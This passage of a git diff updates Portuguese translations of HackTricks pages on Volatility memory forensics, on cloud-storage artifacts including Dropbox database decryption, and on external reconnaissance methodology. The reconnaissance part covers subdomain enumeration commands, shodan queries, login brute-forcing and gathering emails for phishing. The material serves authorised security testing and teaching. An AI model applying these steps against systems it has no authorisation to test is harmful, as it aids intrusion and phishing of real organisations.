@@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` #### KDBG -O **bloco de depuração do kernel**, referido como **KDBG** pelo Volatility, é crucial para tarefas forenses realizadas pelo Volatility e vários depuradores. Identificado como `KdDebuggerDataBlock` e do tipo `_KDDEBUGGER_DATA64`, contém referências essenciais como `PsActiveProcessHead`. Esta referência específica aponta para o início da lista de processos, permitindo a listagem de todos os processos, o que é fundamental para uma análise completa da memória. +O **kernel debugger block**, referido como **KDBG** pelo Volatility, é crucial para tarefas forenses realizadas pelo Volatility e vários depuradores. Identificado como `KdDebuggerDataBlock` e do tipo `_KDDEBUGGER_DATA64`, contém referências essenciais como `PsActiveProcessHead`. Esta referência específica aponta para o início da lista de processos, permitindo a listagem de todos os processos, o que é fundamental para uma análise completa da memória. -## Informações do SO +## OS Information ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info @@ -133,7 +133,7 @@ O plugin `banners.Banners` pode ser usado no **vol3 para tentar encontrar banner ## Hashes/Senhas -Extraia hashes SAM, [credenciais em cache de domínio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) e [segredos lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +Extraia hashes SAM, [credenciais em cache de domínio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) e [segredos lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/index.html#lsa-secrets). {{#tabs}} {{#tab name="vol3"}} @@ -290,7 +290,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of ### Handles -Útil saber a quais outros arquivos, chaves, threads, processos... um **processo tem um handle** (aberto) +Útil saber a quais outros arquivos, chaves, threads, processos... um **processo tem um handle** (abriu) {{#tabs}} {{#tab name="vol3"}} @@ -326,7 +326,7 @@ volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dm ### Strings por processos -O Volatility nos permite verificar a qual processo uma string pertence. +Volatility nos permite verificar a qual processo uma string pertence. {{#tabs}} {{#tab name="vol3"}} @@ -661,9 +661,6 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant {{#endtabs}} ### Symlinks - -{{#tabs}} -{{#tab name="vol3"}} ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` @@ -711,6 +708,9 @@ volatility --profile=Win7SP1x86_23418 -f timeliner {{#endtabs}} ### Drivers + +{{#tabs}} +{{#tab name="vol3"}} ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` @@ -738,7 +738,7 @@ volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` -### Captura de tela +### Captura de Tela ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 8c87230e2..07b51207a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,7 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} - ## OneDrive No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppData\Local\Microsoft\OneDrive`. E dentro de `logs\Personal` é possível encontrar o arquivo `SyncDiagnostics.log` que contém alguns dados interessantes sobre os arquivos sincronizados: @@ -23,13 +22,13 @@ Uma vez que você tenha encontrado o CID, é recomendado **procurar arquivos con No Windows, você pode encontrar a pasta principal do Google Drive em `\Users\\AppData\Local\Google\Drive\user_default`\ Esta pasta contém um arquivo chamado Sync_log.log com informações como o endereço de e-mail da conta, nomes de arquivos, timestamps, hashes MD5 dos arquivos, etc. Até arquivos deletados aparecem nesse arquivo de log com seu correspondente MD5. -O arquivo **`Cloud_graph\Cloud_graph.db`** é um banco de dados sqlite que contém a tabela **`cloud_graph_entry`**. Nesta tabela, você pode encontrar o **nome** dos **arquivos sincronizados**, hora de modificação, tamanho e o checksum MD5 dos arquivos. +O arquivo **`Cloud_graph\Cloud_graph.db`** é um banco de dados sqlite que contém a tabela **`cloud_graph_entry`**. Nesta tabela, você pode encontrar o **nome** dos **arquivos** **sincronizados**, hora de modificação, tamanho e o checksum MD5 dos arquivos. Os dados da tabela do banco de dados **`Sync_config.db`** contêm o endereço de e-mail da conta, o caminho das pastas compartilhadas e a versão do Google Drive. ## Dropbox -O Dropbox usa **bancos de dados SQLite** para gerenciar os arquivos. Neste\ +O Dropbox usa **bancos de dados SQLite** para gerenciar os arquivos. Nisso\ Você pode encontrar os bancos de dados nas pastas: - `\Users\\AppData\Local\Dropbox` @@ -50,7 +49,7 @@ Para entender melhor a criptografia que o Dropbox usa, você pode ler [https://b No entanto, as principais informações são: - **Entropia**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E +- **Sal**: 0D638C092E8B82FC452883F95F355B8E - **Algoritmo**: PBKDF2 - **Iterações**: 1066 @@ -65,9 +64,9 @@ Então você pode usar a ferramenta [**DataProtectionDecryptor**](https://nirsof ![](<../../../images/image (443).png>) -Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar esta [receita do cyber_chef]() colocando a chave primária como a "senha" dentro da receita. +Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar esta [receita do cyber_chef]() colocando a chave primária como a "senha" dentro da receita. -O hex resultante é a chave final usada para criptografar os bancos de dados que pode ser descriptografada com: +O hex resultante é a chave final usada para criptografar os bancos de dados que podem ser descriptografados com: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` @@ -76,10 +75,10 @@ O **`config.dbx`** banco de dados contém: - **Email**: O email do usuário - **usernamedisplayname**: O nome do usuário - **dropbox_path**: Caminho onde a pasta do dropbox está localizada -- **Host_id: Hash** usado para autenticar no cloud. Isso só pode ser revogado pela web. +- **Host_id: Hash** usado para autenticar na nuvem. Isso só pode ser revogado pela web. - **Root_ns**: Identificador do usuário -O **`filecache.db`** banco de dados contém informações sobre todos os arquivos e pastas sincronizados com Dropbox. A tabela `File_journal` é a que contém mais informações úteis: +O **`filecache.db`** banco de dados contém informações sobre todos os arquivos e pastas sincronizados com o Dropbox. A tabela `File_journal` é a que contém mais informações úteis: - **Server_path**: Caminho onde o arquivo está localizado dentro do servidor (este caminho é precedido pelo `host_id` do cliente). - **local_sjid**: Versão do arquivo diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 58836f4f2..256822384 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -10,14 +10,14 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ 1. Encontrar as aquisições da empresa principal, isso nos dará as empresas dentro do escopo. 2. Encontrar o ASN (se houver) de cada empresa, isso nos dará os intervalos de IP pertencentes a cada empresa. -3. Usar consultas de whois reverso para buscar outras entradas (nomes de organizações, domínios...) relacionadas à primeira (isso pode ser feito recursivamente). -4. Usar outras técnicas como filtros `org` e `ssl` do shodan para buscar outros ativos (o truque `ssl` pode ser feito recursivamente). +3. Usar consultas de whois reverso para procurar outras entradas (nomes de organizações, domínios...) relacionadas à primeira (isso pode ser feito recursivamente). +4. Usar outras técnicas como filtros `org` e `ssl` do shodan para procurar outros ativos (o truque `ssl` pode ser feito recursivamente). ### **Aquisições** -Primeiramente, precisamos saber quais **outras empresas são pertencentes à empresa principal**.\ +Primeiro de tudo, precisamos saber quais **outras empresas são propriedade da empresa principal**.\ Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\ -Outra opção é visitar a página da **Wikipedia** da empresa principal e buscar por **aquisições**. +Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**. > Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos. @@ -57,8 +57,8 @@ Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](htt ### **Procurando vulnerabilidades** Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\ -Além disso, você poderia lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como fazer pentesting em vários serviços possíveis em execução.\ -**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como realizar pentesting em vários serviços possíveis em execução.\ +**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário **e** senhas **padrão e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domínios @@ -66,11 +66,11 @@ Além disso, você poderia lançar alguns [**scans de porta**](../pentesting-net _Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._ -Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_. +Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_. ### **DNS Reverso** -Como você encontrou todos os intervalos de IP dos domínios, você poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8) +Como você encontrou todos os intervalos de IP dos domínios, você poderia tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -82,7 +82,7 @@ Você também pode usar uma ferramenta online para essas informações: [http:// ### **Reverse Whois (loop)** -Dentro de um **whois** você pode encontrar muitas **informações** interessantes, como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se realizar **buscas reversas de whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\ +Dentro de um **whois** você pode encontrar muitas **informações** interessantes, como **nome da organização**, **endereço**, **emails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se realizar **buscas reversas de whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo email aparece).\ Você pode usar ferramentas online como: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito** @@ -90,7 +90,7 @@ Você pode usar ferramentas online como: - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito** - [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** na web, API não gratuita. - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 pesquisas gratuitas**) +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 buscas gratuitas**) - [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requer uma chave de API whoxy).\ @@ -113,16 +113,16 @@ Existem algumas páginas e ferramentas que permitem que você pesquise por esses ### **Favicon** -Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la: +Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone favicon? Isso é exatamente o que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` ![favihash - descobrir domínios com o mesmo hash de ícone favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -Simplificando, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo. +De forma simples, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo. -Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**: +Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais lugares vulneráveis**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -141,7 +141,7 @@ return fhash ``` ### **Copyright / Uniq string** -Procure nas páginas da web **strings que podem ser compartilhadas entre diferentes sites na mesma organização**. A **string de copyright** pode ser um bom exemplo. Em seguida, procure essa string no **google**, em outros **navegadores** ou até mesmo no **shodan**: `shodan search http.html:"Copyright string"` +Pesquise nas páginas da web **strings que podem ser compartilhadas entre diferentes sites na mesma organização**. A **string de copyright** pode ser um bom exemplo. Em seguida, procure essa string no **google**, em outros **navegadores** ou até mesmo no **shodan**: `shodan search http.html:"Copyright string"` ### **CRT Time** @@ -150,7 +150,7 @@ Procure nas páginas da web **strings que podem ser compartilhadas entre diferen # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\ +renovar todos os certificados de domínio no servidor. Isso significa que, mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\ Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### Informações de Mail DMARC @@ -171,17 +171,17 @@ Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS. -Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e então procurar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** a um domínio principal e **subdomínios** deles, bastante incrível. ### **Procurando vulnerabilidades** Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa. -Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\ +Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\ &#xNAN;_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ ## Subdomínios @@ -258,7 +258,7 @@ Existem **outras ferramentas/APIs interessantes** que, mesmo não sendo diretame ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` -- [**API gratuita JLDC**](https://jldc.me/anubis/subdomains/google.com) +- [**API gratuita do JLDC**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` @@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para qualquer domínio dado. +- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um determinado domínio. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -323,7 +323,7 @@ Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [ht Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio. -Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**: +Para essa ação, você precisará de algumas **listas de palavras comuns de subdomínios como**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -365,7 +365,7 @@ Após ter encontrado subdomínios usando fontes abertas e força bruta, você po ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gere permutações. +- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gera permutações. - Você pode obter as permutações do goaltdns **wordlist** [**aqui**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt @@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, ele também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente). -- Você pode obter a **wordlist** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt). +- Você pode obter permutações de altdns **wordlist** em [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -458,7 +458,7 @@ Você pode **monitorar** se **novos subdomínios** de um domínio são criados m Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/). -Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\ +Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar **neste livro algumas dicas para "atacá-los"**.\ &#xNAN;_Note que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ ## IPs @@ -486,7 +486,7 @@ Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo). -Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores** web usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\ +Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores** web usando [**masscan** pode ser encontrado aqui](../pentesting-network/index.html#http-port-discovery).\ Outra ferramenta amigável para procurar servidores web é [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Você apenas passa uma lista de domínios e ela tentará se conectar à porta 80 (http) e 443 (https). Além disso, você pode indicar para tentar outras portas: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 @@ -494,11 +494,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ``` ### **Capturas de Tela** -Agora que você descobriu **todos os servidores web** presentes no escopo (entre os **IPs** da empresa e todos os **domínios** e **subdomínios**) você provavelmente **não sabe por onde começar**. Então, vamos simplificar e começar apenas tirando capturas de tela de todos eles. Apenas ao **dar uma olhada** na **página principal** você pode encontrar **endpoints estranhos** que são mais **propensos** a serem **vulneráveis**. +Agora que você descobriu **todos os servidores web** presentes no escopo (entre os **IPs** da empresa e todos os **domínios** e **subdomínios**), você provavelmente **não sabe por onde começar**. Então, vamos simplificar e começar apenas tirando capturas de tela de todos eles. Apenas ao **dar uma olhada** na **página principal**, você pode encontrar **endpoints estranhos** que são mais **propensos** a serem **vulneráveis**. Para realizar a ideia proposta, você pode usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para analisar todas as **capturas de tela** e te dizer **o que provavelmente contém vulnerabilidades**, e o que não contém. +Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para analisar todas as **capturas de tela** e te dizer **o que provavelmente contém vulnerabilidades** e o que não contém. ## Ativos de Nuvem Pública @@ -510,7 +510,7 @@ Você também precisará de listas de palavras de **palavras comuns usadas em bu - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Então, com essas palavras, você deve gerar **permutations** (ver [**Segunda Rodada de Força Bruta DNS**](./#second-dns-bruteforce-round) para mais informações). +Então, com essas palavras, você deve gerar **permutations** (ver [**Segunda Rodada de Brute-Force DNS**](#second-dns-bruteforce-round) para mais informações). Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** @@ -531,7 +531,7 @@ Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem ### **Procurando vulnerabilidades** -Emails serão úteis mais tarde para **forçar logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing. +Emails serão úteis mais tarde para **brute-force em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing. ## Vazamentos de Credenciais @@ -542,7 +542,7 @@ Com os **domínios,** **subdomínios** e **emails**, você pode começar a procu ### **Procurando vulnerabilidades** -Se você encontrar credenciais **vazadas válidas**, essa é uma vitória muito fácil. +Se você encontrar credenciais **vazadas válidas**, isso é uma vitória muito fácil. ## Vazamentos de Segredos @@ -557,7 +557,7 @@ Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Lea #### Dorks do Github -Verifique também esta **página** para potenciais **dorks do github** que você também poderia procurar na organização que está atacando: +Verifique também esta **página** para potenciais **dorks do github** que você também poderia pesquisar na organização que está atacando: {{#ref}} github-leaked-secrets.md @@ -570,17 +570,17 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos) ### Dorks do Google -Dorks do Google antigos, mas valiosos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**. +Dorks do Google, embora antigos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**. -_Nota que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá te bloquear muito em breve._ +_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá bloquear você muito em breve._ ### **Procurando vulnerabilidades** -Se você encontrar credenciais ou tokens de API **vazados válidos**, essa é uma vitória muito fácil. +Se você encontrar credenciais ou tokens de API **vazados válidos**, isso é uma vitória muito fácil. ## Vulnerabilidades de Código Público -Se você descobriu que a empresa tem **código de código aberto**, você pode **analisá-lo** e procurar por **vulnerabilidades** nele. +Se você descobrir que a empresa tem **código de código aberto**, você pode **analisá-lo** e procurar por **vulnerabilidades** nele. **Dependendo da linguagem**, existem diferentes **ferramentas** que você pode usar: @@ -596,7 +596,7 @@ Existem também serviços gratuitos que permitem que você **escaneie repositór A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então, neste ponto, eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essas informações aqui**](../../network-services-pentesting/pentesting-web/). -Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.** +Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de Código Aberto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.** ## Recapitulação @@ -610,7 +610,7 @@ Então você já: 4. Encontrou todos os **subdomínios** dos domínios (algum takeover de subdomínio?) 5. Encontrou todos os **IPs** (de e **não de CDNs**) dentro do escopo. 6. Encontrou todos os **servidores web** e tirou uma **captura de tela** deles (algo estranho que vale uma olhada mais profunda?) -7. Encontrou todos os **potenciais ativos de nuvem pública** pertencentes à empresa. +7. Encontrou todos os **ativos de nuvem pública potenciais** pertencentes à empresa. 8. **Emails**, **vazamentos de credenciais** e **vazamentos de segredos** que podem te dar uma **grande vitória muito facilmente**. 9. **Pentesting todas as webs que você encontrou** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ac6c92d36..51a58d5e2 100644 --- 